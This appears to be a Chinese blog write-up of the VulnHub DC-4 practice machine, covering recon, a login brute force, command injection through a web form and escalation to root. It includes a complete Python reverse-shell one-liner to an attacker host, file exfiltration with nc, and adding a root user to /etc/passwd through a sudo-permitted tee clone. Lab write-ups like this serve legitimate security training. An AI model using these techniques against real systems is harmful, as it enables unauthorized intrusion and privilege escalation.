DC-4
- 写写打靶记录。
- 靶机地址:https://www.vulnhub.com/entry/dc-4,313/
信息收集
- 首先查看 Kali IP 地址:
1 | root at kali in ~/DC4 |
地址探测
- 使用 Nmap 扫描出一个 IP:10.10.8.23
1 | root at kali in ~/DC4 |
端口扫描
- 扫描开放端口:
1 | root at kali in ~/DC4 |
服务识别
- 扫描端口对应服务:
1 | root at kali in ~/DC4 |
漏洞扫描
- 使用 Nmap 进行漏洞扫描:
1 | root at kali in ~/DC4 |
- 看了下扫出来的漏洞,没一个有用的。
目录扫描
1 | root at kali in ~/DC4 |
漏洞利用
- 通常不直接考虑 SSH 爆破,使用浏览器访问 80 端口:
- 一眼自建站点,根据扫描出的目录信息来看只有一个登录框能进行攻击。
- 对于当前登录框而言,可能存在如下问题:
- SQL 注入/万能密码
- 弱口令/暴力破解
SQL 注入(失败)
- 输入 admin/123456 后使用 BurpSuite 抓包:
- 将该报文保存后,放入 SQLMap 中进行测试:
1 | root at kali in ~/DC4 |
- 发现不存在 SQL 注入。
暴力破解
- 既然 SQL 注入不成功,那就试试暴力破解,还是使用刚刚 BurpSuite 的报文,发送到 Intruder 模块:
- 由于界面中有对应提示,可以看出账号可能是 admin:
- 那就选中 password 位置就行了:
- 载入字典,之所以不选 rockyou.txt 还是因为它内容太多了:
- 爆破出 admin 用户的密码为 happy。
RCE
- 登录一下:
- 可以发现有个 Command 按钮,点击一下看看啥个事儿:
- 发现可以执行三个命令:
- List Files
- Disk Usage
- DisK Free
- 尝试 Run 一下:
- 哦豁,发现对方执行的命令是 ls -l,抓个包看看命令是不是由前端传到后端的:
- 可以发现命令确实是前端传到后端执行的,直接修改 radio 内容尝试进行反弹。
- 查看是否存在 NC 命令
ls -l /bin | grep nc
:
Shell 反弹
- 可以看到对方存在 nc.traditional,是 GNU 版 NC 存在 -e 参数:
1 | root at kali in ~/DC4 |
当然也可以使用 Python 进行反弹:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.8.17",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
- 由于当前 Shell 交互性不足,升级一下:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
主机信息收集
- 有到了主机信息收集环节,累了,上脚本:
1 | root at kali in ~/DC4 |
- 将 lse.sh 上传至靶机上,在 Kali 上开启 Web 服务:
1 | root at kali in ~/DC4 |
- 在靶机上下载:
1 | www-data@dc-4:/usr/share/nginx/html$ cd /tmp |
- 赋予执行权限并执行:
1 | www-data@dc-4:/tmp$ chmod +x lse.sh |
- 现在我们发现了一个 test.sh 脚本,查看内容:
1 | !/bin/bash |
- 没卵用,换一个脚本:
1 | root at kali in ~/DC4 |
- 再次上传到靶机上:
1 | www-data@dc-4:/tmp$ wget http://10.10.8.17/LinEnum/LinEnum.sh |
- 查看执行内容:
1 | www-data@dc-4:/tmp$ ./LinEnum.sh |
敏感信息泄露v1
- 发现一个 old-passwords.bak 文件,看看文件内容:
1 | 000000 |
- 看着像是个密码字典,而用户名是 jim,使用 NC 将这个文件导出到 Kali 上:
1 | Kali 上执行 |
SSH 爆破
- 使用 Hydra 进行爆破:
1 | root at kali in ~/DC4 |
- 得出密码为:jibril04,使用 SSH 登录一下:
1 | root at kali in ~/DC4 |
- 登录成功。
敏感信息泄露v2
- 看看当前目录下有啥玩意儿:
1 | jim@dc-4:~$ ls -al |
- 有个 mbox,看看内容:
1 | jim@dc-4:~$ cat mbox |
- 是一封测试邮件,既然有邮件的话,看看右键目录还有没有其他信息:
1 | jim@dc-4:/var/mail$ ls -al |
- 确实有,看看内容:
1 | jim@dc-4:/var/mail$ cat jim |
- 发现了 charles 用户的密码,切换一下:
1 | jim@dc-4:/var/mail$ su - charles |
teehee 提权
- 权限还是不够,执行 LinEnum.sh 文件,收集收集信息:
1 | charles@dc-4:/tmp$ ./LinEnum.sh |
- 发现 teehee 命令不需要密码即可以 root 权限执行命令,去 GTFOBins 网站查一查:
- 没有,那就很尴尬了,查查 teehee 命令的作用,发现也没有。
- 那就在靶机上查查作用:
1 | charles@dc-4:/tmp$ teehee --help |
- 功能大致上是:将标准输入的内容复制到每个文件中,并同时输出到标准输出。
- 测试测试:
1 | charles@dc-4:/tmp$ echo 'demo' | sudo teehee -a demo.txt |
- 可以用,既然可以添加数据,那就直接添加用户到 /etc/passwd 岂不美哉:
1 | charles@dc-4:/tmp$ head -n 1 /etc/passwd |
- 切换用户:
1 | charles@dc-4:/tmp$ su yongz |
- 提权成功,查找 flag:
1 | root@dc-4:/tmp# cd /root |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!